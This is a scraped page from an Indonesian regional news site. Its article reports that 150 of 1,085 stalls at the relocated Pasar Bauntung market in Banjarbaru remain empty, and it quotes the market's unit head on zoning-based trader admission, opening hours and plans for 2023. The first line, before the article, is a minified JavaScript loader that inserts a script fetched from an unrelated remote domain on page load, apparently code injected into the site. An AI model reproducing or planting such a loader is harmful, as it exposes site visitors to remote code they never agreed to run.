(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Sejak direlokasi pada tahun 2021, Pasar Bauntung di Jalan RO Ulin, Kelurahan Loktabat Selatan, Kota Banjarbaru, tampak terlihat megah. Namun, hingga saat ini masih mengalami sepi pedagang alias ada lapak yang masih kosong tak berisi pedagang.
Data yang diperoleh Kanalkalimantan.com dari 1.085 los dan kios, masih ada 150 los dan kios tidak ada pedagang.
Kepala Unit Pelaksana Teknis (UPT) Pasar Bauntung Banjarbaru, Adi Royan Pratama mengatakan, memang masih ada 150 los kering yang masih kosong hingga saat ini.
“Kami terbuka untuk masyarakat umum yang membuka usaha di Pasar Bauntung,” katanya.
Baca juga: Calon Jemaah Umrah Tidak Diwajibkan Lagi Vaksin Meningitis
Walau demikian, disebutkan Adi Royan, pihaknya akan selektif dalam mencari pedagang yang ingin membuka lapak di dalam Pasar Bauntung Banjarbaru.
“Karena pasar ini, pasar yang ber-SNI (Standar Nasional Indonesia) maka tidak semua orang yang ingin berjualan di Pasar Bauntung itu bisa, kami akan selektif,” jelasnya.
Dibeberkannya, beberapa hari belakangan UPT Pasar Bauntung Banjarbaru sedang melakukan proses permohonan calon pedagang yang sesuai zonasi.
“Tidak semua permohonan yang masuk ke Pasar Bauntung kita terima, permohonan yang masuk di Pasar Bauntung itu akan kita sesuaikan zonasinya,” tegasnya.
Baca juga: Kunjungan ke HSU, Kapolda Kalsel: Mau Selamat Jadi Polisi Kerjalah dengan Ikhlas
Jika ada yang memaksakan berjualan tidak sesuai zonasi, maka UPT Pasar Bauntung akan melakukan negosiasi, terkait komoditi barang dagangan yang diperjualbelikan.
“Kadang negosiasi yang kami lakukan tidak tercapai, sehingga permohonan tidak pada zonasinya tidak bisa proses, seperti pedagang itu mau jualan sembako, namun yang tersedia toko baju, kalau beliau ingin pindah komoditi maka akan kami proses,” sebutnya.
Masih kata Adi Royan, operasional Pasar Bauntung ini dari pukul 05.00 hingga pukul 22.00 Wita, tapi tidak jarang pedagang sudah tutup ketika siang hari.
“Sebetulnya jam operasional sampai 10 malam, karena tidak bisa memaksa pedagang tetap buka, mereka milih menutup toko atau lapaknya siang hari, ada juga yang sore,” bebernya.
Selain itu, ada beberapa terobosan yang akan dilakukan pada tahun 2023 mendatang.
Baca juga: Malam-malam Cari Ikan di Kolong Rumah, Pria Asal Batumandi Tewas Tenggelam
“Kami terus mencari inovasi bagaimana menghidupkan Pasar Bauntung, salah satu diantaranya bekerjasama dengan Komunitas Kopi Kota Banjarbaru di tahun 2023 mendatang, pola kerjasamanya kita lihat bagus,” tandasnya. (Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More
KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
This website uses cookies.